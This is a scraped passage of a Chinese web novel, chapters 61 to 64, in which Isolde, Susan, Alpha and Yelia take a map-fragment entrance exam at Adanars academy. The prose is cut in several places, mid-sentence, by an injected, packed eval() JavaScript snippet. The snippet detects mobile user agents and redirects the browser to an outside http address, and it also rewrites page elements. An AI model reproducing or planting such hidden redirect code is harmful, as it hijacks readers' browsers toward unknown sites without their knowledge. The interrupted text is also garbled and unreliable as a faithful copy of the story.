l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019688|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人偶师”这个称号,显然也不是浪得虚名。 至于伊索尔德自己就更不用多说了,没有任何一所学院会拒绝一个想要入学的幻想种,哪怕是亚达娜尔思。 耶莉娅想了想,也觉得她们这个配置不会被最开始的测验刷下去,对考试的担忧告一段落,她又开始苦恼另一件事。 “那个人怎么会知道我们要来呢?”她冥思苦想,手里捏着代表考核资格的号码牌,“看他的样子,似乎并没有特意调查过考生,但我们也确实没有填写资料…” 甚至连报名的信息都是刚刚在路上紧赶慢赶看完的,报名表的页面都没打开过。 “这个嘛,我觉得耶莉娅还是不要太纠结了。”灰百合口吻很老成,“那多半是什么异能力啦。” “异能可以做到这种程度吗?”她吃惊。 “大概率是能看到未来发生的事情吧,范围的话,三天内。”伊索尔德有一搭没一搭地把树枝折成一节节,“防护罩是个突发事件,很可能是因为他三天前看到了我们的出现,所以临时加固了考场。” “也就是说,今天会发生什么不同寻常的事情吗?”耶莉娅很快理解了伊索尔德的意思,她皱了皱眉,目测了一下防护罩的强度,“从这个型号及展开厚度来看,难道这颗星球会解体吗?” “不至于吧。”伊索尔德望天,“我觉得大概就是一点点意外啦…” 苏珊虚着眼看她:“你看起来好像已经知道会发生什么了。” “呃,刚刚才知道的。”她摊开手掌,上面散落着十几节大小不一的树枝碎片,树枝的截面是嫩绿色的,被折断之后,隐隐散发出了独属于植物的清新气味。 她有点没精打采的:“又不是故意的…” 苏珊跟她相处很久,一看就明白这是她心虚时的惯常表现,它面无表情道:“你干的?” “跟我没关系!”伊索尔德大喊冤枉,“等会儿苏珊要跟我道歉!” 耶莉娅稀奇地看伊索尔德现在的模样,她没想过把自己带出来的虫族还有这样幼稚而任性的一面。 阿尔法倒是见怪不怪了,她毕竟跟灰百合她们也共处了一段时间,见过几次伊索尔德跟灰百合拌嘴的样子。 “那就是跟你有关了。”苏珊无视伊索尔德的狡辩,一锤定音。 又说:“不能讲出来吗?”干嘛神神秘秘地藏着掖着,还故意露出破绽,好让耶莉娅问出那个话题。 “唉,最好不要窥探未来啊。”伊索尔德又变回了那副沉静到不可思议的样子,刚刚出现在她脸上的浓烈情绪像白雪一样,轻而易举随着她抬头的动作消融了。 她似乎有些忧愁,然而仔细看去,那忧愁又仿佛面纱,轻轻笼住了她唇畔边那一抹难以捉摸的笑意。 “未来这种东西,看见了就会变得不幸。”她微笑着,告诫似的说,“哪怕有机会,也千万不要因为好奇去窥探。那一定是某种陷阱,绝对不是什么好东西。不然,那个人为什么要戴上墨镜呢?” 61.考核 “34、2、79。”广播又报出三个号码,被叫到的考生站起,依次经过静静子,向木牌后面的森林深处走去。 “那么,我就先走了。”耶莉娅将自己的号码牌别在腰间,对伊索尔德说。她披着一件略有些宽松的黑色斗篷,里面则规规矩矩穿了套着学生样的制服。听说这是缪瓦以前给她做的,只不过因为流放地环境恶劣的缘故,一直压在箱底,没派上过用场。想到这次要正式开始自己的求学生涯,耶莉娅又自己把它翻了出来。 缪瓦做衣服的手艺很朴素,她为人一丝不苟,在剪裁服装时,完全是照着教学书籍来实践的,也因此,所做出来的衣服只能用“标准”一词来形容。耶莉娅被这套制服严严实实包住,探头探脑的时候,像漫画里常出现的小女巫,古灵精怪,天资卓然。 她轻巧地迈步离开伊索尔德,跟在另外两位考生后面,略有些不自然地走入了考场。 “耶莉娅没什么社交经验,”灰百合的语气带着人性化的忧虑,“不知道她能不能应付得来。” 从之前的广播中就能看出,参加考试的顺序和组合完全是随机的,又因为进去的考生没一个回来,导致可供参考分析的样本也没有。就算伊索尔德早早安抚过耶莉娅,但要是真抽到不擅长的体能项目也很糟糕。尤其是耶莉娅刚刚从无名星球那样的地方离开,不光是不熟悉社会,连智慧生命都没见过几种。 阿尔法同样看出耶莉娅神态的僵硬,但她乐观得多:“也不用太担心,耶莉娅可是把她迄今为止的所有作品都放在空间纽里带过去了,要是真的打斗起来,只要不是开场就被包围,怎么样都有机会。” 伊索尔德一边听她们讨论耶莉娅,一边百无聊赖地等待着。周围的考生一个个离开,原本就空旷的场地内更是大得过分,有风冷冷地穿透林木卷起地上的落叶,在半空跳一支回旋舞。 由于阿尔法被当做高智能AI看待,没有自己的号码牌,这样一算,现在只剩下了伊索尔德和苏珊还没被叫到号码牌。 “32、33号请出列。”机械音响了起来。 “走吧。”伊索尔德恹恹的,完全看不出来刚刚活泼的样子——她很不耐烦“等待”,从小时候起就是这样。 静静子还蹲在木牌下面cos圣诞树,伊索尔德走过他身边时,忽然定定看了他一眼。 这一眼不带恶意,但静静子还是感觉毛骨悚然,猛地睁开眼。 “有什么事吗?这位考生。考试马上要开始了哦。”他端出社会人的假笑,看起来真诚极了。 “果然是眼睛吧。”她说出意义不明的话,“看到未来果然不是什么好事,对吧?” 静静子的假笑卡了一瞬间,没想到会被揭穿底细,在那张凝滞的面具之中,有什么底色晦暗的东西冒了出来,挤挤挨挨地凑在他眼睛里,向外面的世界发出欢欣的信号。 失态只有几秒,他别过眼,控制自己不要与伊索尔德对视,墨镜底下的黑色眼睛渐渐平复了波动,他抢在条件达成之前打断了异能的发动。 面对伊索尔德的问题,他只含糊不清地说:“嘛。就那样吧。” 他安静了好一会儿,再抬起头时,提问的虫族已经轻飘飘离开了,似乎对他的答案不感兴趣。 “唉,”他叹气,“怎么回答了反而没有反应,这有点伤人心啊。” 挂在耳朵上的通讯器里有人嗤笑一声,无视了静静子的话:“人都到齐了吗?” 静静子淡淡道:“AL-12考生已全部投放完毕。” 通讯器里,陆陆续续传来了其他考官的声音。 “AW-10考生已全部投放完毕。” “AS-9考生已全部投放完毕。” “AT-8考生已全部投放完毕。” “……” “AY-1考生已全部投放完毕。” 挂在木牌上的广播不叫了,取而代之的,是总控室里传出的命令。 “所有考生已到达指定地点,开启防护罩,医疗组继续待命……”那个声音有条不紊地一条条吩咐着,“让行动组做好准备。” “考核将于十分钟后开始。” —— 越往里走,光线就越晦暗。生长在此的高大树木将所有阳光全都吞没了,永久的黑夜倒逼本土物种锻炼出了夜视能力,又因为它们缺少光线照射,连模样都长得跟外面大不相同。用苏珊的话来说,已经完全可以算作亚种了。 “是变异。”它的目光在小径边肆意生长的野草上转来转去,得出这个结论,“不过仅仅是缺少阳光的话不至于造成这样严重的后果,我觉得这里的生长环境应该也很有问题。这可是能养出蚀心草的地方…”它盯着不远处一株平平无奇的紫黑色野花看,“肯定死了很多人。” 蚀心草是只能被血液浇灌着生长起来的毒草药,它毒性猛烈,对幻想种和人类而言都是大杀器。苏珊本以为这种东西只会存在于古老的药学书籍里,万万没想到在这种地方还能遇见。 “亚达娜尔思的入学考核死亡率是0。”伊索尔德轻快地说,“死在这里的应该不是考生。说不定是古战场之类的。” “没听说过无星带发生过大规模战争啊…”灰百合纳闷。 “哼哼,你不知道的事情多了去了。”伊索尔德说,“不好好上课就会这样,‘花园’的通识课老师肯定很痛心你变成了这样。” “那都多久之前的事情了,再说了,政治和军事也不是我的专长呀。”苏珊很心虚,小声叨叨,为自己作辩护,“忘记了很正常…” 阿尔法在一旁帮腔:“是啊是啊,这种事情知道了也没什么用啦,想不起来的话查一下资料就好嘛。” 伊索尔德:“遇到无信号地带怎么办?” 苏珊“呃”一声,真情实感的疑惑:“都现在了,还有无信号地带存在吗?” 星网联通了广袤星域里百分之九十的生命活动区,就连部分大型黑洞里都有该公司部下的特殊频道,“因为没有信号而无法上网”这种尴尬问题已经彻底消失在历史之中。作为生活在星际时代的智慧生命,苏珊实在很难想象这世界上哪里还有无信号地带存在 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灰百合的视力很好,虽然它身上并没有常规意义的视觉系统,但精灵族与生俱来的天赋以及对生命的感知能让它轻而易举勾勒出周围的模样。 湖泊、山峰、河流、树木……毫无疑问,这是一处绝对真实、拥有完备生态系统的空间。亚达娜尔思大手笔地将所有考生转移到了这里,却没有告诉考生的具体考试内容,按常理推断,应该是将提示放在了考场之中,甚至很有可能就在降落点附近。 苏珊张望了一下,果然在不远处看到了一只被高高挂起白色的口袋,它被放在数十米高的树木顶端,金色的流苏随风飘荡,极偶尔的在特定角度闪出一阵晃眼的光。 灰百合:“……挂这么高。” 它没有立刻去拿那只口袋,而是先慢条斯理看了一圈考场的大略环境。 天地的尽头盘踞着起伏不定的山峦,身后的湖泊里游动着一指长的白色小鱼,五颜六色的森林之中,隐隐约约有生物活动的迹象。与此同时,苏珊点开挂在自己枝干上的终端,悲惨地发现信号全无。 【这世界上哪里还会有无信号区啊?】 不久前刚刚说过的话变成一道回旋镖,快准狠地扎进了它的身体里。 “哈。”它冷笑,“那家伙,肯定刚刚就发现了。怪不得露出那种表情,可恶,要让一朵花来考试也太强求了。” 它一边在原地碎碎念,一边把自己的身躯胀得像蛇一样庞大,好起到威慑敌手的作用。暗处里盘踞着的视线果然变少了,但依然徘徊不去,它有些不耐烦,往前游出一段距离,紧接着一甩身,几枚脱落的叶子刀片般扎进灌木里,带起一线线飞溅的血液。 “算了,”它说,“还是先去找伊索尔德汇合吧。” 一枚叶片被抛掷高空,将挂着口袋的那只枝条削了下来,树枝带着口袋砸在地上,它拽出口袋,在湖泊旁边拆开。 一边拆,一边大声抱怨:“竟然把考生全部拆开放在同一考场,这也太糟糕了吧。” 62.笑脸 白色口袋里放着一块老旧的液晶屏,一只怀表样式的指南针,以及几片泛黄的粗陋纸质图。 苏珊花了一会儿功夫才发现纸片是一张地图的碎片——它面积太小,线条太凌乱,颜色太淡,种种因素都对辨认工作造成了干扰。 地图碎片的边缘有后来画上去的经纬度标识,最中心用红颜料画了一个大大的圈。圈里被涂黑了,看不出来什么。 苏珊摆弄了一会儿,放弃继续研究地图的秘密,它把液晶屏摁亮,心想这种东西还是让脑子聪明的来吧。 液晶屏暗下去的屏幕亮起,雪白的字体一行行浮出,为打开的考生讲述规则。 —— 某处山洞。 【亚达娜尔思入学考核(一)】 【无论是谁,恭喜你找到这块屏幕! 它会随时上传你的定位,每小时上传一次,定位数据将向全体考生公开。如果不想立刻被发现话记得好好躲藏噢~ 另外,请注意,该道具不可丢弃,不可损坏,以上两种情况任意一种发生后,该考生将失去考核资格。请记得好好保存。 接下来是本场测验的具体内容。 每位考生持有3-5片数额的地图碎片,在规定时间内将地图补完的考生将通过测验,并得到进入下一场考核的资格。得到碎片的方法由你来决定。不过,不管怎么说都很简单,对吧?】 一个简笔画笑脸出现在液晶屏上,屏幕里则开始传出活泼的合成音,笑脸将屏幕上出现的字幕复述了一遍,然后像滚动的西瓜那样蹦蹦跳跳地离开了屏幕,在即将完全从屏幕上消失时,它忽然又探出一半身体,露出笑容。 【对了对了,】它扶着屏幕说,【还有注意事项忘记说明。诶,很久没有主持考试了,请原谅~】 原本的白色字体被抹掉,新的规则出现在屏幕上。 【以下为注意事项:】 合成音停顿了一下,以一种看热闹不嫌事大的欠揍语气接着说道: 【禁止杀戮。除此之外…】 【百无禁忌——】 它拖着长音,从屏幕中消失。滴一声,这个看似是液晶屏的道具关闭了。画面重回黑暗,倒映出耶莉娅的脸。她把道具放回白色的口袋,又把口袋拴好,放进斗篷的内袋里。 虽然亚达娜尔思并未禁止学生携带辅助用具,但是在这个空间里,所有的电子设备全都失效了。 能够依靠的东西只剩下自己和被发放的指南仪,耶莉娅坐在山洞的阴影里,抱着膝盖发了一会儿呆,从斗篷里拉出自己的手提工具箱。 她把工具箱展开,选出合适型号,开始兢兢业业拆指南针和液晶屏。 总之,先想办法把定位的能力关掉! —— 雪原之上。 “地图啊…”伊索尔德靠着冰川思考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034745|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在她的头顶上,无数绚丽的蓝绿色极光正在舒展身姿,阿尔法被她抱在怀里,已经被冻晕过去了。 “的确不是很难,我这里大概有…5片吧。运气还算好。” 狂暴的风雪穿过她身边,伊索尔德一步没动,直面了极端环境下的天灾。 “……有点凉。”她嘀咕,“怎么感觉只有我在这,是不是走错地方了。” 伊索尔德在落地时就展开了三秒钟的第二视觉,得出的结论是这片广袤雪原荒凉无比,除了她之外,没有第二个活物。 假如传送的落地点完全随机,那么,她大概是被送到了一个远离大部队的奇妙之地。 运气不太好。她心想。 比极光更绚烂的虫翅在她身上展开,震颤,她飞至高空,总算看到了被绿意妆点的地方,熟悉的气息全都遥远而模糊,似乎有什么东西横亘在这里,试图屏蔽她的感知。 伊索尔德思考了一秒,决定先去找苏珊。 “苏珊只想当挂件。”她跋涉在雪原上,怀里揣着一只昏迷人偶,对灰百合的懒惰本性有充分的认知,并发表了自己的看法,“去晚了肯定会生气吧,这家伙。” 话说,阿尔法晕得也太彻底了,说到底为什么要给自己做那么逼真的神经系统……目前看来真实不停地在给自己施加磨难,难道神经系统比较逼真的人偶更会杀人吗? 伊索尔德,百思不得其解。 63.不存在的第七星系 找到苏珊这件事对伊索尔德来说并不困难。哪怕感知力被削弱了也一样。要说为什么的话,大概要追溯到伊索尔德刚刚从自己的力量压迫下挣脱出来的时候。 这里需要说明的是,苏珊和伊索尔德并不是时时刻刻都在一起的。虽然前者是主动要求留在虫族主星的、‘花园’的造物,但是平时,它也有自己的活动要进行。 比如说,苏珊很喜欢看演出。 又比如说,苏珊的运气很糟糕,每次看演出的时候都会遇到事故。 “这是这个月以来第十一次被记录在案的事故了。这样的话,我会怀疑你是来我家踢场子的。”伊索尔德把苏珊断掉的枝叶放到营养液里,苏珊蔫蔫地躺在一边,不时抽泣几声。 “我也不知道为什么。”它翻了个身,压住伊索尔德的手指,“每次出去都会发生不好的事情…明明我有注意安全问题啊?” “而且塔纳斯也有给你派护卫。”伊索尔德叹了口气,也不是很明白为什么。理论上来说她应该感谢一下苏珊提前把那些不安定因素引爆了,但感情上来说……在苏珊出现之前,阿斯塔星真的从来没有一口气遇到这么多事情。 她下结论:“这大概就是事故体质吧。走到哪里就会遇到不好的事情什么的,这次你是被卷进绑架案了吗?” “大概吧。”苏珊含含糊糊地说,“舞台的升降装置出了问题,结果是蓄谋已久的犯罪。”害得它也受了点伤,不得不跟着伊索尔德一起在王城里修养。 “虫族不是有很多很神奇的东西吗?”它忽然想到,“精神力能做到的事情很多吧,能不能给我祈福什么的,比如说保佑我下次出门看演出的时候不要遇到意外事件,我只想安安稳稳看完啦。” “祈福是神的领域吧。而且现在神明都没落很久了,这可是科技大爆炸的星际时代啊。” “但是我听说有异能可以影响到运气。” “嗯……”伊索尔德沉思,她确认了一遍,“真的很想吗?” “真的。非常。特别想。” 眼看有戏,苏珊立刻谄媚地捏了捏伊索尔德的手臂:“帮帮我嘛,伊索尔德大人!”它模仿了最近看的小说里的桥段。顺便一提,那本小说也是伊索尔德的情感数据库素材之一。 “我可以给你打个标记呢。”年幼的王女这样说,“把我的力量分给你一点,虽然事故的概率不会降低,但是你在事故中受伤的概率会减少。” 这其实是一种谦逊的说法,毕竟在王虫那近乎无所不能的力量下,能够威胁到她的东西可以说几乎没有。 “听起来不错啊。”苏珊立刻同意了这个提议,紧接着,提出了自己的疑惑,“之前为什么不说呢?” “一个是我最近才能用一点点力量,”她说,“另一个,是这种标记通常被用在属臣身上,感觉很奇怪。” 在伊索尔德的观念里,朋友这段关系里不应该存在有上下级的说法。 “我不介意。”苏珊说,“你根本就不在乎这个标记背后的意义吧,我也一样。而且听起来很方便,虽然说是‘花园’的造物,但其实我并没有什么很强大的力量。”也正因此,很容易因为各种各样的原因受伤。它兴致勃勃地问:“你的力量我能用吗?要怎么用?” 伊索尔德:“我不知道。” 她只是知道要怎么做,但根本没有实际操作过。 又说:“大概是自然而然就会知道吧。我看资料里也没有记载使用方法这种东西。” 非常不负责任的说法,然后苏珊和伊索尔德折腾了一个下午,总算把那枚标记弄好了。 标记的图案很漂亮,是一顶王冠。在成形的时候,它闪闪发光,嗖一下没入了苏珊的身体里。 这枚标记让苏珊拥有了反击那些异常事故的力量,它之所以能够自如地操纵自己的身体,也跟标记里的力量息息相关。 现在,这枚标记依然留在苏珊的花瓣上。伊索尔德能轻易通过标记的联系找到它。 —— 说来有点奇怪,但伊索尔德跨越茫茫雪原找到苏珊的时候,它正在跟一条蛇打架。 浑身上下没有一点杂色的白蛇,身躯庞大得跟苏珊有得一拼,它们在草地上翻滚着想要绞杀对方,而伊索尔德要很艰难才能从那堆白得发光的鳞片里找到苏珊的花瓣。 她有点沉默地落在了不远处,周围的树木被它俩打架的动静波及,变得乱七八糟。原本清澈的湖泊因为大量的泥土变混浊了,旁边落了一根被削掉的树枝,白色的口袋被放在了灌木丛的上方。 这什么情况…伊索尔德迷茫地看着这副场景,苏珊怎么跟蛇开始打架了,而且打得还很开心的样子。 一道雪亮的光从伊索尔德面前一闪而过。 “哇啊!”她怀里的人偶大叫,“这什么啊!” “诶,阿尔法醒了啊。”伊索尔德说,“就是你看到的那样,苏珊在跟白蛇打架噢。” “……这里面出现的要素是不是过多了?话说,现在居然还有这么大的野生动物吗?这到底是什么地方啊?” 在阿尔法的印象里,这个世界充斥着各种各样科学不科学的存在,比如异能,比如已经消失的魔法文明,比如精神力,又比如说跨星系跃迁和机甲。 而在这些东西里,原始而野生的动物少得可怜,大部分动物要么发展出了自己的文明,要么被人类驯养,像眼前这条白蛇,完全就是传说级别的了。 “我觉得称之为魔兽更准确一点。”伊索尔德若有所思,“以前确实听过无星带的地方保留了很多史前痕迹,没想到是真的啊。” “啊,所以这条白蛇也会魔法吗?” “没到那种程度。大概就是长得稍微大一点。” 眼前的争斗还在继续,苏珊抓住机会让白蛇咬住了石头,然后利落地用叶片在它身上开了几条口。汩汩鲜血流淌而出,白蛇的血是黑色的。 “你们完全不打算帮忙吗?”苏珊一边抱怨,一边从白蛇的身体里抓出了一个封得严严实实的包裹,里面散落着三块地图的碎片。 “原来击杀特定对象也会有碎片掉落吗?”阿尔法想起液晶屏里的话。 “诶?不是啦,这是解谜的奖励,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15048979|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好不容易解开的,结果这条蛇突然窜出来把奖励吃掉了。”苏珊把碎片归拢到一起,“我这边大概有六片,伊索尔德呢?” “十片。”伊索尔德把自己的碎片也拿了出来,跟苏珊的合在一起简略拼凑了一下。她在赶来的路上遇到过学院设置的关卡,顺利通过后,得到了五块碎片作为奖励。 阿尔法研究了一下:“从边缘和大小来看,拼完整个地图需要有五十片吧。” “而且还要去除掉那些重合的部分。”伊索尔德把地图拢到一起,“寻找谜题和关卡很耗费精力,而且性价比也不高,但如果是夺取考生身上的碎片的话,会更容易。” 根据伊索尔德的观察,谜题和关卡的奖励碎片大多在1-5块之间,而每个考生固定携带的碎片则有3块的保底值,由于一旦失去所有地图碎片就会出局,可以认为见到的每个考生身上都必定携带有碎片。再加上液晶屏里提到的每到一定时间就上传定位的规则…… 她说:“是鼓励我们自相残杀的游戏呢。” “宇宙第一的学校用这种方法来筛选学生没问题吗?” 听起来既不正义,也不合常理。 “这就是亚达娜尔思的传统啦。”苏珊一脸见怪不怪的样子。 “哎…说起来阿尔法还不知道吧。”伊索尔德想起来,对她解释,“虽然说亚达娜尔思是宇宙第一学院,但其实这个排名是它自封的。虽然事实上是这样,但其他六个星系在明面上都会对此表示抵制。” “诶?” “更准确的说法是,公认的、培养怪物的学院。” “不过说是疯子的摇篮所也没问题,这里从老师到学生都是怪胎啦。”伊索尔德笑着说,“报考这里的人类相当少,如果真的有,那肯定是万里挑一的天才。人类那边是以通过亚达娜尔思的考试为荣的。” 亚达娜尔思学院是个出名到让人容易忘记它本质的奇怪学校,它设立在无星带,有自成一体的特殊政治经济模式,社会生态不仅完全独立于其他六个星系,也不受其管辖。 “提问,其他国家,我是说文明,能允许这样的情况出现吗?”阿尔法举手。 “一开始是不允许的,但是创校者据说是个相当强大的异能者,她把有反对意见的全都抽回去了。”伊索尔德回忆了一下,“由于大家很没面子,所以就当作这所学院不存在了。” 也因此,亚达娜尔思的另一个名字是“不存在的第七星系”。 “不过后来因为学院里出来的怪物实在太多了,亚达娜尔思也慢慢出名起来了。根据统计,过去一百年来报考数目每年都在增加呢。” 毕竟亚达娜尔思没有政治立场这种东西,而它所培养出的学生又实在太过优秀。虽然明面上依然在抵制,私底下依然有不少文明试图往里输送人才,又或者是从里挖墙脚;。 “啊,怎么说,”阿尔法干巴巴地说,“感觉有点后悔了。你们的世界真的复杂过头了…” “但很好玩嘛。” 阿尔法想了想,肯定道:“的确。是用危险刺激来形容也毫不过头的世界。” 64.等待汇合 伊索尔德从湖泊里掬了一捧水泼到了白蛇的身上。那些皎洁的鳞片从它的身上落到地上,像初春未化尽的雪。 雪和白蛇都被她埋进了土里,她想了想,又从旁边折了几根藤蔓,弯弯绕绕,缠成了一朵花。 “好了。”她把花放到白蛇所在的泥土上方,回过头去看阿尔法和苏珊,“我们去找耶莉娅吧。” 话音刚落,一声尖锐的提示音从苏珊和伊索尔德身上响起,刚刚自动黑屏的液晶屏重新亮了起来,上面开始滚动一大串名字和坐标点。 十秒后,液晶屏又自动黑屏了。 上面没有耶莉娅的名字。 “她肯定是把定位仪拆掉了。”伊索尔德说,“我记得她进来的时候带了工具箱。” 阿尔法:“这也行?” “这也是一种通关的方法嘛。监考官都没有阻止,肯定在允许范围之内。液晶屏拆起来很简单的。”伊索尔德掰着手指,“我来的路上看到的各种各样的通关方法可多了,组队的,单打独斗的,勾心斗角的,说谎的,老老实实找关卡的,胡乱伤人威逼利诱的…”她叹一口气,又说起另一个话题,“唉,我不怎么擅长找人啊。” 能找到苏珊纯粹是她们之间的联系太过紧密,哪怕是亚达娜尔思出手也不能完全切断。而耶莉娅……相处时间太短了,伊索尔德不是很熟悉她的气息。 她一直都分不太清人类的味道。而这个考场里的人类又有些太多了。 “难道只能看运气了吗?”她喃喃。 阿尔法和苏珊也愁眉苦脸的,她们俩蹲在倒塌在地上的树干上,有一搭没一搭地交流想法。 “碰运气也要有个方向啊。”阿尔法说,“这个考场太大了,有没有什么所有考生都会去的地方呢?” “有啊。”伊索尔德回答,她从拼图里翻出来一块碎片,上面用红色的颜料画了一个圆,圆里面被涂黑了,她指了指那个圆,“这里。” 阿尔法凑过来看:“这是哪里?” “出去的地方。”她耸耸肩,“苏珊那里也有这样一块碎片。我猜所有人的地图碎片里都有这么一块。” “要不我们就在这里等她?”苏珊说,“我们的定位是正常的,耶莉娅看到了肯定会来找我们。” 阿尔法对此抱有悲观态度:“虽然这样说不太好,但是我觉得不太可能。耶莉娅的武力值很低,如果我们跟她隔得很远,她能不能过来都是个问题。”森林里并不太平,不如说,整个考场到处都充斥着各种各样的关卡,这些关卡的内容各不相同,唯一的共同点是都带着对考生毫不遮掩的恶意,亚达娜尔思的考验是有通关率的,设计者肯定会想尽一切办法削减最终通过的数目。 而早在无名星球上,耶莉娅的柔弱就已经让阿尔法记忆深刻。 她身上还有毒呢。 “而且还要考虑到一些别的情况,”伊索尔德说,“毕竟耶莉娅虽然脑子很好用,但真的很容易受制于人。如果有人看上了她的脑子,威胁她的话,会有点难办。”她揉了揉脸,“唉,我是不希望这样,这样的话,事后会很麻烦的。” “麻烦?” 伊索尔德把手放下来:“对啊,因为这是威胁我看中的天才科学家嘛。我心眼比较小,可能会动手。” 虫族的“动手”意味着不死不休,考虑到亚达娜尔思明令禁止杀戮,伊索尔德也不知道自己到时候能不能克服本能停手。 “我明明只是想来上个学。”她说,“怎么事情一下子变得这么复杂了。” —— 耶莉娅正站在山洞外面往外望,她手上拿着用水晶加工出来的望远镜,配合一点小手段,能够让她看清方圆千米内的状况。 “看不清啊。”她把望远镜放下来,转身往山洞里走,一边走,一边抱怨,“水晶的可视性还是太差了,算了,材料不够,只能先做到这样了。” 山洞里用手搓出来的麻绳五花大绑着两个人。除了性别不同以外,他们俩看上去一模一样。 麻绳的原材料是耶莉娅从山洞外面找到的一种植物,她在无名星球上学会了很多东西,包括用任何材料编出合适长度的绳子,包括怎么用简单的原材料做出让人昏迷的迷药。 这两个人是刚刚看到耶莉娅定位来偷袭她的人,他们很强,不仅经过专业的训练,还拥有不错的异能,再加上他们还是双胞胎,彼此之间有无可比拟的默契。种种要素铸造了他们的强大,让他们觉得耶莉娅这样独自一个躲在山洞里的小女孩不足为惧。 而在踏入山洞的第一步,看到耶莉娅那双毫无感情的灰色眼睛时,他们才终于意识到自己的错误。 那是一双冷淡得如同高天明月的眼睛,不为凡人的生死动容,不为四季的流转改变,它已经存在了千年万年,两个自大的人类光是看到这双眼睛,就像被蛇盯住的青蛙一样浑身僵硬。而就在那一瞬间,馥郁的花香飘过鼻端,他们失去了意识,倒在了地上。 耶莉娅快快乐乐地哼着歌把他们绑了起来,不仅如此,在他们醒来后,还告诉他们,在他们昏迷过去的这段时间,两人身上已经被种了一种只有她能解开的毒药。 “随便你们逃跑,”她说,“只要不怕死就尽管试试吧。” 双胞胎一点没有怀疑她的话。只要是见过那个眼神的人都不会怀疑她的话。 有这种眼神的人一定冷酷到了极点,她们能够从杀戮中得到乐趣,生命的重量对她们来说就像天上落下的白雪一样轻柔,丝毫不会阻碍前进的步伐。 但双胞胎也不是很害怕。毕竟亚达娜尔思明确禁止死亡,毕竟过去一百年来,不管考核再怎么凶险,也从来没有一个考生死掉。 “你想要我们帮你做什么事呢?”女孩子先开口了。 绑住一个人,又不杀掉,一定是希望他们去做某件事。不管是当开路的炮灰,亦或者是做别的什么事,双胞胎都觉得可以接受。毕竟他们技不如人,输了也是没办法的事。 耶莉娅当时没有回答,只是说自己还在想。 刚刚她从山洞外面回来了,然后蹲在双胞胎面前,用炭笔写出了一个坐标。 “送我去这里。”她说,“在今天的太阳落下之前就要到。” 她没有说做不到有什么后果,双胞胎也没有问,只是说好。 耶莉娅用黑曜石小刀在他们的手背上划了一横一竖两道伤口,血液流出来,在地上发出滋滋的声响。 双胞胎默不作声地看着她的动作,自觉地把两道伤口贴到了一起。 “如您所愿。”他们异口同声说。 双胞胎就连声音都很相似,或许是因为他们还没到发育期,说话的时候,尾音还不自觉带着稚嫩的音色。两道相似的声音重合在一起,山洞的深处荡起回声。 “你们是帝国人。”耶莉娅看着他们说。 这是帝国才有的宣誓方式,双方在自己的手上划出两道伤口,然后在血流干净之前将其贴在一起,一方说出誓言的内容,一方承认这个誓言。这个誓言并没有法律效力,但是一旦以这种方式起誓,没有任何一个人会背叛诺言。 就连耶莉娅已经叛逃的母亲也一样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15062295|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是的。”双胞胎里的另一个开口了。 “你们的手背上没有编码。间谍?”耶莉娅皱眉。她本来只是随便放下饵,结果竟然真的有鱼咬钩了。 “没有人规定帝国人不能报考这所学院。”女孩子竟然很耐心回答了耶莉娅的问题。 耶莉娅摇头:“帝国人绝对不会来这所学院。你们肯定有别的目的。” “或许吧。”男孩子笑了一下。 女孩子接上他的话:“但如果要赶在太阳落山之前到那,我们现在就该走了。” 他们两个月一起看向耶莉娅,似乎比她还担心她到不了那个坐标指示的地方。 耶莉娅沉思了一会儿,把他们的绳子切开,然后自顾自走去里面收拾东西去了,五分钟后,她带着一小只口袋走了回来。 “走吧。”她率先走了出去,“遇到怪物的话你们俩就是挡刀的。” 双胞胎跟在她的后面,没有发表异议。 —— 经过讨论,她们决定在这个地方待上两天时间。阿尔法和苏珊看家,伊索尔德出去挑战关卡,当然,如果遇到恰好路过的考生,她也不介意顺手打劫一把。 这两天是留给耶莉娅的时间,如果她没能赶到,据点就会被废弃,伊索尔德刻在树上的东西则会派上用处。那上面倾注了她的精神波频,一旦耶莉娅看到并触摸,就能自发在她身上留下临时记号,虽然比不上苏珊那个那么清晰,但大概的方向感知是没问题的,怎么也比在考生里大海捞针找起来方便。 达成一致后,伊索尔德开始往树木上面刻东西,她手里拿着蝴蝶刀,流畅地在坚硬树木上写下一串串让人头大的复杂纹路。那不是文字,也不是数字,似乎完全是一种全新的语言,光是看着就头晕目眩。 